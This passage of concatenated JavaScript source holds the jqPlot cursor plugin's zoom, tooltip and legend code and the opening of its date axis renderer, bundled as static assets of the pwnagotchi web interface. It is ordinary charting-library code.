are not shown, this should be >= 1 or will often miss point intersections. this.intersectionThreshold = 2; // prop: showCursorLegend // Replace the plot legend with an enhanced legend displaying intersection information. this.showCursorLegend = false; // prop: cursorLegendFormatString // Format string used in the cursor legend. If showTooltipDataPosition is true, // this will also be the default format string used by tooltipFormatString. this.cursorLegendFormatString = $.jqplot.Cursor.cursorLegendFormatString; // whether the cursor is over the grid or not. this._oldHandlers = {onselectstart: null, ondrag: null, onmousedown: null}; // prop: constrainOutsideZoom // True to limit actual zoom area to edges of grid, even when zooming // outside of plot area. That is, can't zoom out by mousing outside plot. this.constrainOutsideZoom = true; // prop: showTooltipOutsideZoom // True will keep updating the tooltip when zooming of the grid. this.showTooltipOutsideZoom = false; // true if mouse is over grid, false if not. this.onGrid = false; $.extend(true, this, options); }; $.jqplot.Cursor.cursorLegendFormatString = '%s x:%s, y:%s'; // called with scope of plot $.jqplot.Cursor.init = function (target, data, opts){ // add a cursor attribute to the plot var options = opts || {}; this.plugins.cursor = new $.jqplot.Cursor(options.cursor); var c = this.plugins.cursor; if (c.show) { $.jqplot.eventListenerHooks.push(['jqplotMouseEnter', handleMouseEnter]); $.jqplot.eventListenerHooks.push(['jqplotMouseLeave', handleMouseLeave]); $.jqplot.eventListenerHooks.push(['jqplotMouseMove', handleMouseMove]); if (c.showCursorLegend) { opts.legend = opts.legend || {}; opts.legend.renderer = $.jqplot.CursorLegendRenderer; opts.legend.formatString = this.plugins.cursor.cursorLegendFormatString; opts.legend.show = true; } if (c.zoom) { $.jqplot.eventListenerHooks.push(['jqplotMouseDown', handleMouseDown]); if (c.clickReset) { $.jqplot.eventListenerHooks.push(['jqplotClick', handleClick]); } if (c.dblClickReset) { $.jqplot.eventListenerHooks.push(['jqplotDblClick', handleDblClick]); } } this.resetZoom = function() { var axes = this.axes; if (!c.zoomProxy) { for (var ax in axes) { axes[ax].reset(); axes[ax]._ticks = []; // fake out tick creation algorithm to make sure original auto // computed format string is used if _overrideFormatString is true if (c._zoom.axes[ax] !== undefined) { axes[ax]._autoFormatString = c._zoom.axes[ax].tickFormatString; } } this.redraw(); } else { var ctx = this.plugins.cursor.zoomCanvas._ctx; ctx.clearRect(0,0,ctx.canvas.width, ctx.canvas.height); ctx = null; } this.plugins.cursor._zoom.isZoomed = false; this.target.trigger('jqplotResetZoom', [this, this.plugins.cursor]); }; if (c.showTooltipDataPosition) { c.showTooltipUnitPosition = false; c.showTooltipGridPosition = false; if (options.cursor.tooltipFormatString == undefined) { c.tooltipFormatString = $.jqplot.Cursor.cursorLegendFormatString; } } } }; // called with context of plot $.jqplot.Cursor.postDraw = function() { var c = this.plugins.cursor; // Memory Leaks patch if (c.zoomCanvas) { c.zoomCanvas.resetCanvas(); c.zoomCanvas = null; } if (c.cursorCanvas) { c.cursorCanvas.resetCanvas(); c.cursorCanvas = null; } if (c._tooltipElem) { c._tooltipElem.emptyForce(); c._tooltipElem = null; } if (c.zoom) { c.zoomCanvas = new $.jqplot.GenericCanvas(); this.eventCanvas._elem.before(c.zoomCanvas.createElement(this._gridPadding, 'jqplot-zoom-canvas', this._plotDimensions, this)); c.zoomCanvas.setContext(); } var elem = document.createElement('div'); c._tooltipElem = $(elem); elem = null; c._tooltipElem.addClass('jqplot-cursor-tooltip'); c._tooltipElem.css({position:'absolute', display:'none'}); if (c.zoomCanvas) { c.zoomCanvas._elem.before(c._tooltipElem); } else { this.eventCanvas._elem.before(c._tooltipElem); } if (c.showVerticalLine || c.showHorizontalLine) { c.cursorCanvas = new $.jqplot.GenericCanvas(); this.eventCanvas._elem.before(c.cursorCanvas.createElement(this._gridPadding, 'jqplot-cursor-canvas', this._plotDimensions, this)); c.cursorCanvas.setContext(); } // if we are showing the positions in unit coordinates, and no axes groups // were specified, create a default set. if (c.showTooltipUnitPosition){ if (c.tooltipAxisGroups.length === 0) { var series = this.series; var s; var temp = []; for (var i=0; i<series.length; i++) { s = series[i]; var ax = s.xaxis+','+s.yaxis; if ($.inArray(ax, temp) == -1) { temp.push(ax); } } for (var i=0; i<temp.length; i++) { c.tooltipAxisGroups.push(temp[i].split(',')); } } } }; // Group: methods // // method: $.jqplot.Cursor.zoomProxy // links targetPlot to controllerPlot so that plot zooming of // targetPlot will be controlled by zooming on the controllerPlot. // controllerPlot will not actually zoom, but acts as an // overview plot. Note, the zoom options must be set to true for // zoomProxy to work. $.jqplot.Cursor.zoomProxy = function(targetPlot, controllerPlot) { var tc = targetPlot.plugins.cursor; var cc = controllerPlot.plugins.cursor; tc.zoomTarget = true; tc.zoom = true; tc.style = 'auto'; tc.dblClickReset = false; cc.zoom = true; cc.zoomProxy = true; controllerPlot.target.bind('jqplotZoom', plotZoom); controllerPlot.target.bind('jqplotResetZoom', plotReset); function plotZoom(ev, gridpos, datapos, plot, cursor) { tc.doZoom(gridpos, datapos, targetPlot, cursor); } function plotReset(ev, plot, cursor) { targetPlot.resetZoom(); } }; $.jqplot.Cursor.prototype.resetZoom = function(plot, cursor) { var axes = plot.axes; var cax = cursor._zoom.axes; if (!plot.plugins.cursor.zoomProxy && cursor._zoom.isZoomed) { for (var ax in axes) { // axes[ax]._ticks = []; // axes[ax].min = cax[ax].min; // axes[ax].max = cax[ax].max; // axes[ax].numberTicks = cax[ax].numberTicks; // axes[ax].tickInterval = cax[ax].tickInterval; // // for date axes // axes[ax].daTickInterval = cax[ax].daTickInterval; axes[ax].reset(); axes[ax]._ticks = []; // fake out tick creation algorithm to make sure original auto // computed format string is used if _overrideFormatString is true axes[ax]._autoFormatString = cax[ax].tickFormatString; } plot.redraw(); cursor._zoom.isZoomed = false; } else { var ctx = cursor.zoomCanvas._ctx; ctx.clearRect(0,0,ctx.canvas.width, ctx.canvas.height); ctx = null; } plot.target.trigger('jqplotResetZoom', [plot, cursor]); }; $.jqplot.Cursor.resetZoom = function(plot) { plot.resetZoom(); }; $.jqplot.Cursor.prototype.doZoom = function (gridpos, datapos, plot, cursor) { var c = cursor; var axes = plot.axes; var zaxes = c._zoom.axes; var start = zaxes.start; var end = zaxes.end; var min, max, dp, span, newmin, newmax, curax, _numberTicks, ret; var ctx = plot.plugins.cursor.zoomCanvas._ctx; // don't zoom if zoom area is too small (in pixels) if ((c.constrainZoomTo == 'none' && Math.abs(gridpos.x - c._zoom.start[0]) > 6 && Math.abs(gridpos.y - c._zoom.start[1]) > 6) || (c.constrainZoomTo == 'x' && Math.abs(gridpos.x - c._zoom.start[0]) > 6) || (c.constrainZoomTo == 'y' && Math.abs(gridpos.y - c._zoom.start[1]) > 6)) { if (!plot.plugins.cursor.zoomProxy) { for (var ax in datapos) { // make a copy of the original axes to revert back. if (c._zoom.axes[ax] == undefined) { c._zoom.axes[ax] = {}; c._zoom.axes[ax].numberTicks = axes[ax].numberTicks; c._zoom.axes[ax].tickInterval = axes[ax].tickInterval; // for date axes... c._zoom.axes[ax].daTickInterval = axes[ax].daTickInterval; c._zoom.axes[ax].min = axes[ax].min; c._zoom.axes[ax].max = axes[ax].max; c._zoom.axes[ax].tickFormatString = (axes[ax].tickOptions != null) ? axes[ax].tickOptions.formatString : ''; } if ((c.constrainZoomTo == 'none') || (c.constrainZoomTo == 'x' && ax.charAt(0) == 'x') || (c.constrainZoomTo == 'y' && ax.charAt(0) == 'y')) { dp = datapos[ax]; if (dp != null) { if (dp > start[ax]) { newmin = start[ax]; newmax = dp; } else { span = start[ax] - dp; newmin = dp; newmax = start[ax]; } curax = axes[ax]; _numberTicks = null; // if aligning this axis, use number of ticks from previous axis. // Do I need to reset somehow if alignTicks is changed and then graph is replotted?? if (curax.alignTicks) { if (curax.name === 'x2axis' && plot.axes.xaxis.show) { _numberTicks = plot.axes.xaxis.numberTicks; } else if (curax.name.charAt(0) === 'y' && curax.name !== 'yaxis' && curax.name !== 'yMidAxis' && plot.axes.yaxis.show) { _numberTicks = plot.axes.yaxis.numberTicks; } } if (this.looseZoom && (axes[ax].renderer.constructor === $.jqplot.LinearAxisRenderer || axes[ax].renderer.constructor === $.jqplot.LogAxisRenderer )) { //} || axes[ax].renderer.constructor === $.jqplot.DateAxisRenderer)) { ret = $.jqplot.LinearTickGenerator(newmin, newmax, curax._scalefact, _numberTicks); // if new minimum is less than "true" minimum of axis display, adjust it if (axes[ax].tickInset && ret[0] < axes[ax].min + axes[ax].tickInset * axes[ax].tickInterval) { ret[0] += ret[4]; ret[2] -= 1; } // if new maximum is greater than "true" max of axis display, adjust it if (axes[ax].tickInset && ret[1] > axes[ax].max - axes[ax].tickInset * axes[ax].tickInterval) { ret[1] -= ret[4]; ret[2] -= 1; } // for log axes, don't fall below current minimum, this will look bad and can't have 0 in range anyway. if (axes[ax].renderer.constructor === $.jqplot.LogAxisRenderer && ret[0] < axes[ax].min) { // remove a tick and shift min up ret[0] += ret[4]; ret[2] -= 1; } axes[ax].min = ret[0]; axes[ax].max = ret[1]; axes[ax]._autoFormatString = ret[3]; axes[ax].numberTicks = ret[2]; axes[ax].tickInterval = ret[4]; // for date axes... axes[ax].daTickInterval = [ret[4]/1000, 'seconds']; } else { axes[ax].min = newmin; axes[ax].max = newmax; axes[ax].tickInterval = null; axes[ax].numberTicks = null; // for date axes... axes[ax].daTickInterval = null; } axes[ax]._ticks = []; } } // if ((c.constrainZoomTo == 'x' && ax.charAt(0) == 'y' && c.autoscaleConstraint) || (c.constrainZoomTo == 'y' && ax.charAt(0) == 'x' && c.autoscaleConstraint)) { // dp = datapos[ax]; // if (dp != null) { // axes[ax].max == null; // axes[ax].min = null; // } // } } ctx.clearRect(0,0,ctx.canvas.width, ctx.canvas.height); plot.redraw(); c._zoom.isZoomed = true; ctx = null; } plot.target.trigger('jqplotZoom', [gridpos, datapos, plot, cursor]); } }; $.jqplot.preInitHooks.push($.jqplot.Cursor.init); $.jqplot.postDrawHooks.push($.jqplot.Cursor.postDraw); function updateTooltip(gridpos, datapos, plot) { var c = plot.plugins.cursor; var s = ''; var addbr = false; if (c.showTooltipGridPosition) { s = gridpos.x+', '+gridpos.y; addbr = true; } if (c.showTooltipUnitPosition) { var g; for (var i=0; i<c.tooltipAxisGroups.length; i++) { g = c.tooltipAxisGroups[i]; if (addbr) { s += '<br />'; } if (c.useAxesFormatters) { for (var j=0; j<g.length; j++) { if (j) { s += ', '; } var af = plot.axes[g[j]]._ticks[0].formatter; var afstr = plot.axes[g[j]]._ticks[0].formatString; s += af(afstr, datapos[g[j]]); } } else { s += $.jqplot.sprintf(c.tooltipFormatString, datapos[g[0]], datapos[g[1]]); } addbr = true; } } if (c.showTooltipDataPosition) { var series = plot.series; var ret = getIntersectingPoints(plot, gridpos.x, gridpos.y); var addbr = false; for (var i = 0; i< series.length; i++) { if (series[i].show) { var idx = series[i].index; var label = series[i].label.toString(); var cellid = $.inArray(idx, ret.indices); var sx = undefined; var sy = undefined; if (cellid != -1) { var data = ret.data[cellid].data; if (c.useAxesFormatters) { var xf = series[i]._xaxis._ticks[0].formatter; var yf = series[i]._yaxis._ticks[0].formatter; var xfstr = series[i]._xaxis._ticks[0].formatString; var yfstr = series[i]._yaxis._ticks[0].formatString; sx = xf(xfstr, data[0]); sy = yf(yfstr, data[1]); } else { sx = data[0]; sy = data[1]; } if (addbr) { s += '<br />'; } s += $.jqplot.sprintf(c.tooltipFormatString, label, sx, sy); addbr = true; } } } } c._tooltipElem.html(s); } function moveLine(gridpos, plot) { var c = plot.plugins.cursor; var ctx = c.cursorCanvas._ctx; ctx.clearRect(0,0,ctx.canvas.width, ctx.canvas.height); if (c.showVerticalLine) { c.shapeRenderer.draw(ctx, [[gridpos.x, 0], [gridpos.x, ctx.canvas.height]]); } if (c.showHorizontalLine) { c.shapeRenderer.draw(ctx, [[0, gridpos.y], [ctx.canvas.width, gridpos.y]]); } var ret = getIntersectingPoints(plot, gridpos.x, gridpos.y); if (c.showCursorLegend) { var cells = $(plot.targetId + ' td.jqplot-cursor-legend-label'); for (var i=0; i<cells.length; i++) { var idx = $(cells[i]).data('seriesIndex'); var series = plot.series[idx]; var label = series.label.toString(); var cellid = $.inArray(idx, ret.indices); var sx = undefined; var sy = undefined; if (cellid != -1) { var data = ret.data[cellid].data; if (c.useAxesFormatters) { var xf = series._xaxis._ticks[0].formatter; var yf = series._yaxis._ticks[0].formatter; var xfstr = series._xaxis._ticks[0].formatString; var yfstr = series._yaxis._ticks[0].formatString; sx = xf(xfstr, data[0]); sy = yf(yfstr, data[1]); } else { sx = data[0]; sy = data[1]; } } if (plot.legend.escapeHtml) { $(cells[i]).text($.jqplot.sprintf(c.cursorLegendFormatString, label, sx, sy)); } else { $(cells[i]).html($.jqplot.sprintf(c.cursorLegendFormatString, label, sx, sy)); } } } ctx = null; } function getIntersectingPoints(plot, x, y) { var ret = {indices:[], data:[]}; var s, i, d0, d, j, r, p; var threshold; var c = plot.plugins.cursor; for (var i=0; i<plot.series.length; i++) { s = plot.series[i]; r = s.renderer; if (s.show) { threshold = c.intersectionThreshold; if (s.showMarker) { threshold += s.markerRenderer.size/2; } for (var j=0; j<s.gridData.length; j++) { p = s.gridData[j]; // check vertical line if (c.showVerticalLine) { if (Math.abs(x-p[0]) <= threshold) { ret.indices.push(i); ret.data.push({seriesIndex: i, pointIndex:j, gridData:p, data:s.data[j]}); } } } } } return ret; } function moveTooltip(gridpos, plot) { var c = plot.plugins.cursor; var elem = c._tooltipElem; switch (c.tooltipLocation) { case 'nw': var x = gridpos.x + plot._gridPadding.left - elem.outerWidth(true) - c.tooltipOffset; var y = gridpos.y + plot._gridPadding.top - c.tooltipOffset - elem.outerHeight(true); break; case 'n': var x = gridpos.x + plot._gridPadding.left - elem.outerWidth(true)/2; var y = gridpos.y + plot._gridPadding.top - c.tooltipOffset - elem.outerHeight(true); break; case 'ne': var x = gridpos.x + plot._gridPadding.left + c.tooltipOffset; var y = gridpos.y + plot._gridPadding.top - c.tooltipOffset - elem.outerHeight(true); break; case 'e': var x = gridpos.x + plot._gridPadding.left + c.tooltipOffset; var y = gridpos.y + plot._gridPadding.top - elem.outerHeight(true)/2; break; case 'se': var x = gridpos.x + plot._gridPadding.left + c.tooltipOffset; var y = gridpos.y + plot._gridPadding.top + c.tooltipOffset; break; case 's': var x = gridpos.x + plot._gridPadding.left - elem.outerWidth(true)/2; var y = gridpos.y + plot._gridPadding.top + c.tooltipOffset; break; case 'sw': var x = gridpos.x + plot._gridPadding.left - elem.outerWidth(true) - c.tooltipOffset; var y = gridpos.y + plot._gridPadding.top + c.tooltipOffset; break; case 'w': var x = gridpos.x + plot._gridPadding.left - elem.outerWidth(true) - c.tooltipOffset; var y = gridpos.y + plot._gridPadding.top - elem.outerHeight(true)/2; break; default: var x = gridpos.x + plot._gridPadding.left + c.tooltipOffset; var y = gridpos.y + plot._gridPadding.top + c.tooltipOffset; break; } elem.css('left', x); elem.css('top', y); elem = null; } function positionTooltip(plot) { // fake a grid for positioning var grid = plot._gridPadding; var c = plot.plugins.cursor; var elem = c._tooltipElem; switch (c.tooltipLocation) { case 'nw': var a = grid.left + c.tooltipOffset; var b = grid.top + c.tooltipOffset; elem.css('left', a); elem.css('top', b); break; case 'n': var a = (grid.left + (plot._plotDimensions.width - grid.right))/2 - elem.outerWidth(true)/2; var b = grid.top + c.tooltipOffset; elem.css('left', a); elem.css('top', b); break; case 'ne': var a = grid.right + c.tooltipOffset; var b = grid.top + c.tooltipOffset; elem.css({right:a, top:b}); break; case 'e': var a = grid.right + c.tooltipOffset; var b = (grid.top + (plot._plotDimensions.height - grid.bottom))/2 - elem.outerHeight(true)/2; elem.css({right:a, top:b}); break; case 'se': var a = grid.right + c.tooltipOffset; var b = grid.bottom + c.tooltipOffset; elem.css({right:a, bottom:b}); break; case 's': var a = (grid.left + (plot._plotDimensions.width - grid.right))/2 - elem.outerWidth(true)/2; var b = grid.bottom + c.tooltipOffset; elem.css({left:a, bottom:b}); break; case 'sw': var a = grid.left + c.tooltipOffset; var b = grid.bottom + c.tooltipOffset; elem.css({left:a, bottom:b}); break; case 'w': var a = grid.left + c.tooltipOffset; var b = (grid.top + (plot._plotDimensions.height - grid.bottom))/2 - elem.outerHeight(true)/2; elem.css({left:a, top:b}); break; default: // same as 'se' var a = grid.right - c.tooltipOffset; var b = grid.bottom + c.tooltipOffset; elem.css({right:a, bottom:b}); break; } elem = null; } function handleClick (ev, gridpos, datapos, neighbor, plot) { ev.preventDefault(); ev.stopImmediatePropagation(); var c = plot.plugins.cursor; if (c.clickReset) { c.resetZoom(plot, c); } var sel = window.getSelection; if (document.selection && document.selection.empty) { document.selection.empty(); } else if (sel && !sel().isCollapsed) { sel().collapse(); } return false; } function handleDblClick (ev, gridpos, datapos, neighbor, plot) { ev.preventDefault(); ev.stopImmediatePropagation(); var c = plot.plugins.cursor; if (c.dblClickReset) { c.resetZoom(plot, c); } var sel = window.getSelection; if (document.selection && document.selection.empty) { document.selection.empty(); } else if (sel && !sel().isCollapsed) { sel().collapse(); } return false; } function handleMouseLeave(ev, gridpos, datapos, neighbor, plot) { var c = plot.plugins.cursor; c.onGrid = false; if (c.show) { $(ev.target).css('cursor', c.previousCursor); if (c.showTooltip && !(c._zoom.zooming && c.showTooltipOutsideZoom && !c.constrainOutsideZoom)) { c._tooltipElem.empty(); c._tooltipElem.hide(); } if (c.zoom) { c._zoom.gridpos = gridpos; c._zoom.datapos = datapos; } if (c.showVerticalLine || c.showHorizontalLine) { var ctx = c.cursorCanvas._ctx; ctx.clearRect(0,0,ctx.canvas.width, ctx.canvas.height); ctx = null; } if (c.showCursorLegend) { var cells = $(plot.targetId + ' td.jqplot-cursor-legend-label'); for (var i=0; i<cells.length; i++) { var idx = $(cells[i]).data('seriesIndex'); var series = plot.series[idx]; var label = series.label.toString(); if (plot.legend.escapeHtml) { $(cells[i]).text($.jqplot.sprintf(c.cursorLegendFormatString, label, undefined, undefined)); } else { $(cells[i]).html($.jqplot.sprintf(c.cursorLegendFormatString, label, undefined, undefined)); } } } } } function handleMouseEnter(ev, gridpos, datapos, neighbor, plot) { var c = plot.plugins.cursor; c.onGrid = true; if (c.show) { c.previousCursor = ev.target.style.cursor; ev.target.style.cursor = c.style; if (c.showTooltip) { updateTooltip(gridpos, datapos, plot); if (c.followMouse) { moveTooltip(gridpos, plot); } else { positionTooltip(plot); } c._tooltipElem.show(); } if (c.showVerticalLine || c.showHorizontalLine) { moveLine(gridpos, plot); } } } function handleMouseMove(ev, gridpos, datapos, neighbor, plot) { var c = plot.plugins.cursor; if (c.show) { if (c.showTooltip) { updateTooltip(gridpos, datapos, plot); if (c.followMouse) { moveTooltip(gridpos, plot); } } if (c.showVerticalLine || c.showHorizontalLine) { moveLine(gridpos, plot); } } } function getEventPosition(ev) { var plot = ev.data.plot; var go = plot.eventCanvas._elem.offset(); var gridPos = {x:ev.pageX - go.left, y:ev.pageY - go.top}; ////// // TO DO: handle yMidAxis ////// var dataPos = {xaxis:null, yaxis:null, x2axis:null, y2axis:null, y3axis:null, y4axis:null, y5axis:null, y6axis:null, y7axis:null, y8axis:null, y9axis:null, yMidAxis:null}; var an = ['xaxis', 'yaxis', 'x2axis', 'y2axis', 'y3axis', 'y4axis', 'y5axis', 'y6axis', 'y7axis', 'y8axis', 'y9axis', 'yMidAxis']; var ax = plot.axes; var n, axis; for (n=11; n>0; n--) { axis = an[n-1]; if (ax[axis].show) { dataPos[axis] = ax[axis].series_p2u(gridPos[axis.charAt(0)]); } } return {offsets:go, gridPos:gridPos, dataPos:dataPos}; } function handleZoomMove(ev) { var plot = ev.data.plot; var c = plot.plugins.cursor; // don't do anything if not on grid. if (c.show && c.zoom && c._zoom.started && !c.zoomTarget) { ev.preventDefault(); var ctx = c.zoomCanvas._ctx; var positions = getEventPosition(ev); var gridpos = positions.gridPos; var datapos = positions.dataPos; c._zoom.gridpos = gridpos; c._zoom.datapos = datapos; c._zoom.zooming = true; var xpos = gridpos.x; var ypos = gridpos.y; var height = ctx.canvas.height; var width = ctx.canvas.width; if (c.showTooltip && !c.onGrid && c.showTooltipOutsideZoom) { updateTooltip(gridpos, datapos, plot); if (c.followMouse) { moveTooltip(gridpos, plot); } } if (c.constrainZoomTo == 'x') { c._zoom.end = [xpos, height]; } else if (c.constrainZoomTo == 'y') { c._zoom.end = [width, ypos]; } else { c._zoom.end = [xpos, ypos]; } var sel = window.getSelection; if (document.selection && document.selection.empty) { document.selection.empty(); } else if (sel && !sel().isCollapsed) { sel().collapse(); } drawZoomBox.call(c); ctx = null; } } function handleMouseDown(ev, gridpos, datapos, neighbor, plot) { var c = plot.plugins.cursor; if(plot.plugins.mobile){ $(document).one('vmouseup.jqplot_cursor', {plot:plot}, handleMouseUp); } else { $(document).one('mouseup.jqplot_cursor', {plot:plot}, handleMouseUp); } var axes = plot.axes; if (document.onselectstart != undefined) { c._oldHandlers.onselectstart = document.onselectstart; document.onselectstart = function () { return false; }; } if (document.ondrag != undefined) { c._oldHandlers.ondrag = document.ondrag; document.ondrag = function () { return false; }; } if (document.onmousedown != undefined) { c._oldHandlers.onmousedown = document.onmousedown; document.onmousedown = function () { return false; }; } if (c.zoom) { if (!c.zoomProxy) { var ctx = c.zoomCanvas._ctx; ctx.clearRect(0,0,ctx.canvas.width, ctx.canvas.height); ctx = null; } if (c.constrainZoomTo == 'x') { c._zoom.start = [gridpos.x, 0]; } else if (c.constrainZoomTo == 'y') { c._zoom.start = [0, gridpos.y]; } else { c._zoom.start = [gridpos.x, gridpos.y]; } c._zoom.started = true; for (var ax in datapos) { // get zoom starting position. c._zoom.axes.start[ax] = datapos[ax]; } if(plot.plugins.mobile){ $(document).bind('vmousemove.jqplotCursor', {plot:plot}, handleZoomMove); } else { $(document).bind('mousemove.jqplotCursor', {plot:plot}, handleZoomMove); } } } function handleMouseUp(ev) { var plot = ev.data.plot; var c = plot.plugins.cursor; if (c.zoom && c._zoom.zooming && !c.zoomTarget) { var xpos = c._zoom.gridpos.x; var ypos = c._zoom.gridpos.y; var datapos = c._zoom.datapos; var height = c.zoomCanvas._ctx.canvas.height; var width = c.zoomCanvas._ctx.canvas.width; var axes = plot.axes; if (c.constrainOutsideZoom && !c.onGrid) { if (xpos < 0) { xpos = 0; } else if (xpos > width) { xpos = width; } if (ypos < 0) { ypos = 0; } else if (ypos > height) { ypos = height; } for (var axis in datapos) { if (datapos[axis]) { if (axis.charAt(0) == 'x') { datapos[axis] = axes[axis].series_p2u(xpos); } else { datapos[axis] = axes[axis].series_p2u(ypos); } } } } if (c.constrainZoomTo == 'x') { ypos = height; } else if (c.constrainZoomTo == 'y') { xpos = width; } c._zoom.end = [xpos, ypos]; c._zoom.gridpos = {x:xpos, y:ypos}; c.doZoom(c._zoom.gridpos, datapos, plot, c); } c._zoom.started = false; c._zoom.zooming = false; $(document).unbind('mousemove.jqplotCursor', handleZoomMove); if (document.onselectstart != undefined && c._oldHandlers.onselectstart != null){ document.onselectstart = c._oldHandlers.onselectstart; c._oldHandlers.onselectstart = null; } if (document.ondrag != undefined && c._oldHandlers.ondrag != null){ document.ondrag = c._oldHandlers.ondrag; c._oldHandlers.ondrag = null; } if (document.onmousedown != undefined && c._oldHandlers.onmousedown != null){ document.onmousedown = c._oldHandlers.onmousedown; c._oldHandlers.onmousedown = null; } } function drawZoomBox() { var start = this._zoom.start; var end = this._zoom.end; var ctx = this.zoomCanvas._ctx; var l, t, h, w; if (end[0] > start[0]) { l = start[0]; w = end[0] - start[0]; } else { l = end[0]; w = start[0] - end[0]; } if (end[1] > start[1]) { t = start[1]; h = end[1] - start[1]; } else { t = end[1]; h = start[1] - end[1]; } ctx.fillStyle = 'rgba(0,0,0,0.2)'; ctx.strokeStyle = '#999999'; ctx.lineWidth = 1.0; ctx.clearRect(0,0,ctx.canvas.width, ctx.canvas.height); ctx.fillRect(0,0,ctx.canvas.width, ctx.canvas.height); ctx.clearRect(l, t, w, h); // IE won't show transparent fill rect, so stroke a rect also. ctx.strokeRect(l,t,w,h); ctx = null; } $.jqplot.CursorLegendRenderer = function(options) { $.jqplot.TableLegendRenderer.call(this, options); this.formatString = '%s'; }; $.jqplot.CursorLegendRenderer.prototype = new $.jqplot.TableLegendRenderer(); $.jqplot.CursorLegendRenderer.prototype.constructor = $.jqplot.CursorLegendRenderer; // called in context of a Legend $.jqplot.CursorLegendRenderer.prototype.draw = function() { if (this._elem) { this._elem.emptyForce(); this._elem = null; } if (this.show) { var series = this._series, s; // make a table. one line label per row. var elem = document.createElement('table'); this._elem = $(elem); elem = null; this._elem.addClass('jqplot-legend jqplot-cursor-legend'); this._elem.css('position', 'absolute'); var pad = false; for (var i = 0; i< series.length; i++) { s = series[i]; if (s.show && s.showLabel) { var lt = $.jqplot.sprintf(this.formatString, s.label.toString()); if (lt) { var color = s.color; if (s._stack && !s.fill) { color = ''; } addrow.call(this, lt, color, pad, i); pad = true; } // let plugins add more rows to legend. Used by trend line plugin. for (var j=0; j<$.jqplot.addLegendRowHooks.length; j++) { var item = $.jqplot.addLegendRowHooks[j].call(this, s); if (item) { addrow.call(this, item.label, item.color, pad); pad = true; } } } } series = s = null; delete series; delete s; } function addrow(label, color, pad, idx) { var rs = (pad) ? this.rowSpacing : '0'; var tr = $('<tr class="jqplot-legend jqplot-cursor-legend"></tr>').appendTo(this._elem); tr.data('seriesIndex', idx); $('<td class="jqplot-legend jqplot-cursor-legend-swatch" style="padding-top:'+rs+';">'+ '<div style="border:1px solid #cccccc;padding:0.2em;">'+ '<div class="jqplot-cursor-legend-swatch" style="background-color:'+color+';"></div>'+ '</div></td>').appendTo(tr); var td = $('<td class="jqplot-legend jqplot-cursor-legend-label" style="vertical-align:middle;padding-top:'+rs+';"></td>'); td.appendTo(tr); td.data('seriesIndex', idx); if (this.escapeHtml) { td.text(label); } else { td.html(label); } tr = null; td = null; } return this._elem; }; })(jQuery); ================================================ FILE: pwnagotchi/ui/web/static/js/plugins/jqplot.dateAxisRenderer.js ================================================ /** * jqPlot * Pure JavaScript plotting plugin using jQuery * * Version: 1.0.9 * Revision: d96a669 * * Copyright (c) 2009-2016 Chris Leonello * jqPlot is currently available for use in all personal or commercial projects * under both the MIT (http://www.opensource.org/licenses/mit-license.php) and GPL * version 2.0 (http://www.gnu.org/licenses/gpl-2.0.html) licenses. This means that you can * choose the license that best suits your project and use it accordingly. * * Although not required, the author would appreciate an email letting him * know of any substantial use of jqPlot. You can reach the author at: * chris at jqplot dot com or see http://www.jqplot.com/info.php . * * If you are feeling kind and generous, consider supporting the project by * making a donation at: http://www.jqplot.com/donate.php . * * sprintf functions contained in jqplot.sprintf.js by Ash Searle: * * version 2007.04.27 * author Ash Searle * http://hexmen.com/blog/2007/03/printf-sprintf/ * http://hexmen.com/js/sprintf.js * The author (Ash Searle) has placed this code in the public domain: * "This code is unrestricted: you are free to use it however you like." * */ (function($) { /** * Class: $.jqplot.DateAxisRenderer * A plugin for a jqPlot to render an axis as a series of date values. * This renderer has no options beyond those supplied by the <Axis> class. * It supplies its own tick formatter, so the tickOptions.formatter option * should not be overridden. * * Thanks to Ken Synder for his enhanced Date instance methods which are * included with this code <http://kendsnyder.com/sandbox/date/>. * * To use this renderer, include the plugin in your source * > <script type="text/javascript" language="javascript" src="plugins/jqplot.dateAxisRenderer.js"></script> * * and supply the appropriate options to your plot * * > {axes:{xaxis:{renderer:$.jqplot.DateAxisRenderer}}} * * Dates can be passed into the axis in almost any recognizable value and * will be parsed. They will be rendered on the axis in the format * specified by tickOptions.formatString. e.g. tickOptions.formatString = '%Y-%m-%d'. * * Accecptable format codes * are: * * > Code Result Description * > == Years == * > %Y 2008 Four-digit year * > %y 08 Two-digit year * > == Months == * > %m 09 Two-digit month * > %#m 9 One or two-digit month * > %B September Full month name * > %b Sep Abbreviated month name * > == Days == * > %d 05 Two-digit day of month * > %#d 5 One or two-digit day of month * > %e 5 One or two-digit day of month * > %A Sunday Full name of the day of the week * > %a Sun Abbreviated name of the day of the week * > %w 0 Number of the day of the week (0 = Sunday, 6 = Saturday) * > %o th The ordinal suffix string following the day of the month * > == Hours == * > %H 23 Hours in 24-hour format (two digits) * > %#H 3 Hours in 24-hour integer format (one or two digits) * > %I 11 Hours in 12-hour format (two digits) * > %#I 3 Hours in 12-hour integer format (one or two digits) * > %p PM AM or PM * > == Minutes == * > %M 09 Minutes (two digits) * > %#M 9 Minutes (one or two digits) * > == Seconds == * > %S 02 Seconds (two digits) * > %#S 2 Seconds (one or two digits) * > %s 1206567625723 Unix timestamp (Seconds past 1970-01-01 00:00:00) * > == Milliseconds == * > %N 008 Milliseconds (three digits) * > %#N 8 Milliseconds (one to three digits) * > == Timezone == * > %O 360 difference in minutes between local time and GMT * > %Z Mountain Standard Time Name of timezone as reported by browser * > %G -06:00 Hours and minutes between GMT * > == Shortcuts == * > %F 2008-03-26 %Y-%m-%d * > %T 05:06:30 %H:%M:%S * > %X 05:06:30 %H:%M:%S * > %x 03/26/08 %m/%d/%y * > %D 03/26/08 %m/%d/%y * > %#c Wed Mar 26 15:31:00 2008 %a %b %e %H:%M:%S %Y * > %v 3-Sep-2008 %e-%b-%Y * > %R 15:31 %H:%M * > %r 3:31:00 PM %I:%M:%S %p * > == Characters == * > %n \n Newline * > %t \t Tab * > %% % Percent Symbol */ $.jqplot.DateAxisRenderer = function() { $.jqplot.LinearAxisRenderer.call(this); this.date = new $.jsDate(); }; var second = 1000; var minute = 60 * second; var hour = 60 * minute; var day = 24 * hour; var week = 7 * day; // these are less definitive var month = 30.4368499 * day; var year = 365.242199 * day; var daysInMonths = [31,28,31,30,31,30,31,30,31,30,31,30]; // array of consistent nice intervals. Longer intervals // will depend on days in month, days in year, etc. var niceFormatStrings = ['%M:%S.%#N', '%M:%S.%#N', '%M:%S.%#N', '%M:%S', '%M:%S', '%M:%S', '%M:%S', '%H:%M:%S', '%H:%M:%S', '%H:%M', 